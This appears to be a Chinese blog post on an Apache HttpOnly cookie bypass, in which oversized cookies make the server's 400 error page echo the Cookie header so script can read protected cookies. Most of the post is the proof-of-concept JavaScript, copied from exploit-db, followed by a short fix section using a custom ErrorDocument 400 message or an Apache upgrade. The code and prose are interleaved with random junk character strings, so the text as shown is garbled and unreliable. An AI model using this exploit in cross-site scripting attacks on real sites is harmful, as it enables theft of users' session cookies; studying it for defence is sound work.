Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:


" `6 H! k- q& v4 J% e6 x0 v) y* }! l// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
// Construct string for cookie value
var str = "";
& a" R3 J; J9 Mfor (var i=0; i< 819; i++) {
6 x% ], Z$ h- Cstr += "x";
0 X5 A: f9 S' ]}
// Set cookies
7 }; A) x: g; m5 D- Ofor (i = 0; i < 10; i++) {
& Q+ _8 }% g' D2 M// Expire evil cookie
  M# S* X0 W) J- O5 d2 s. m3 Fif (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
0 V& A8 x. u3 y0 Y% Fvar cookie = "xss"+i+"="+str+";path=/";
9 h$ k8 y* V, E$ o}
5 o; K. _+ }( m0 i. E& c% k! Vdocument.cookie = cookie;
1 x  F! [/ u8 N' M5 I6 ]+ y}
}
function makeRequest() {
setCookies();
# i5 u3 z' G8 H0 R. Wfunction parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
6 x8 G1 L0 x- g4 T6 H9 ]// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
9 W' w9 O- P- J" j/ e; M, h// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
$ [; Q7 C& J3 C( {' \, `7 n6 F% w}
; e# o1 b  ?5 e5 s1 M// Unset malicious cookies
9 a2 z$ `" K! }# V3 V6 }setCookies(true);
alert(JSON.stringify(cookie_dict));
3 u8 V* ^2 `6 E. ?}
. I% t# e. k9 w, p}
// Make XHR request
. l, j. y0 U- ?6 h, ~+ cvar xhr = new XMLHttpRequest();
' f9 m) i( ~+ w# `xhr.onreadystatechange = parseCookies;
2 T  v8 C9 L# q' ixhr.open("GET", "/", true);
! M- h& k  c( q" x9 ~& Lxhr.send(null);
}
" |- F$ _& s* e  kmakeRequest();

; n1 a- c8 j" Z4 A  }, [5 a你就能看见华丽丽的400错误包含着cookie信息。

% B/ l% u( a# P' t8 F! T下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

! w4 `3 v2 U, {8 j修复方案：

Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

In the event of a problem or error, Apachecan be configured to do one of four things,
: u. s) Z) R" {1 p
9 {! w1 K, C. S# ]$ G6 ~0 j$ T7 U1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
5 m: L8 c) k) S5 \& q2. output acustomized message输出一段信息
$ ~3 Q7 N& T1 X* M" l* Q; d3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
0 Y, v0 u/ U- C: k4. redirect to an external URL to handle theproblem/error转向一个外部URL

经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
( `/ Q' A. s* \7 e% \) {
Apache配置：

ErrorDocument400 " security test"

. B% j* U; G+ M8 W/ n当然，升级apache到最新也可：）。
, Q# Z# {, X8 v7 c: U' N2 }
/ w) q% f/ b8 E. m* a5 o- Z参考：http://httpd.apache.org/security/vulnerabilities_22.html

' S& \  M! t7 @) y% o) Q